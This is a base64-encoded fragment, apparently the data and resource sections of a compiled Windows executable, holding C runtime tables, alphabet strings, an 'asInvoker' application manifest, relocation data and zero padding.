AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA